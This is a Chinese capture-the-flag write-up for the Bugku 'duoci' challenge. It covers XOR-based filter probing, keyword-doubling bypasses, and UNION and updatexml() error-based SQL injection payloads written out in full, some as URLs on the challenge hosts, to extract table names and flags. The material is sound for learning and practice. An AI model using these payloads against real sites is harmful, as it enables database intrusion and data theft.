异或注入和报错注入(bugku_多次) - 图1题目为多次的提示,啥意思 已进入网站发现有参数:1

异或注入和报错注入(bugku_多次) - 图2

所有设法改变一下参数。1-5全部试了一遍,在id=5的时候有另一个提示。

异或注入和报错注入(bugku_多次) - 图3

在这里可以试试sql注入。那就是注入的知识点了:

只能采取盲注:(也就是猜他过滤了什么)

后面加上 ‘ 返回错误;加上 —+ 返回正常。确实存在sql注入。

输入?id=1’ or 1=1—+ 也报错。确实存在过滤。输入id=1’%23(#)又对了

那如何检测哪些字符串被过滤呢?异或注入了解一下

异或注入是啥:两个条件相同(同真或同假)既为假

那么接下来我们就是查询列数了:输入id=1’ order by 3%23,显示error,改为1,还是error,慌了…估计是吧order或者by给过滤了。

试一下id异或注入:输入id=1’ ^ (length(‘order’)!=0)%23,显示error,说明不是order被过滤

再试一下输入:id=1’ ^ (length(‘or’)!=0)%23发现又显示了正常的信息

异或注入和报错注入(bugku_多次) - 图4

经过尝试发现:and,select,union都被过滤了

那就是or被过滤了,那就双写拼接绕过呗:

输入id=1’ oorrder by 2%23显示正常信息

异或注入和报错注入(bugku_多次) - 图5

id=1’ oorrder by 3%23,显示error,说明查询列数为2

接下来。又是熟悉的味道,又是熟悉的气息;素质三连:http://123.206.87.240:9004/1ndex.php?id=0%27%20ununionion%20seselectlect%201,database()%23%23)

异或注入和报错注入(bugku_多次) - 图6爆表名

输入id=0’ uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23

异或注入和报错注入(bugku_多次) - 图7

爆flag列下的数据

输入id=0’ uunionnion sselectelect 1,flag1 from flag1%23

异或注入和报错注入(bugku_多次) - 图8

然后提交是错误的。好吧 有两个flag

提交flag显示错误,换个字段,爆address,得出下一关地址

异或注入和报错注入(bugku_多次) - 图9

卧槽,太难了把

异或注入和报错注入(bugku_多次) - 图10

上面又有参数:他竟然还是sql注入的知识

那我就再注入一次咯:输入1’ order by 2#发现有两个列。那就老套路

输入?id=-1’ union select 1,database()%23

异或注入和报错注入(bugku_多次) - 图11

发现union和select都被过滤掉了 那么我们双写试试:

异或注入和报错注入(bugku_多次) - 图12

还是什么都没有!!!

报错注入

https://www.jianshu.com/p/a52fe9eaeaa6

这里利用updatexml()报错注入

异或注入和报错注入(bugku_多次) - 图13

异或注入和报错注入(bugku_多次) - 图14

查数据表

http://120.24.86.145:9004/Once_More.php?id=1‘ and updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database()),’~’),3) %23

查字段

?id=1’ and updatexml(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’flag2’),’~’),3) %23

查数据

?id=1’ and updatexml(1,concat(‘~’,(select flag2 from flag2),’~’),3) %23

或者另一个报错注入https://www.jianshu.com/p/a52fe9eaeaa6

异或注入和报错注入(bugku_多次) - 图15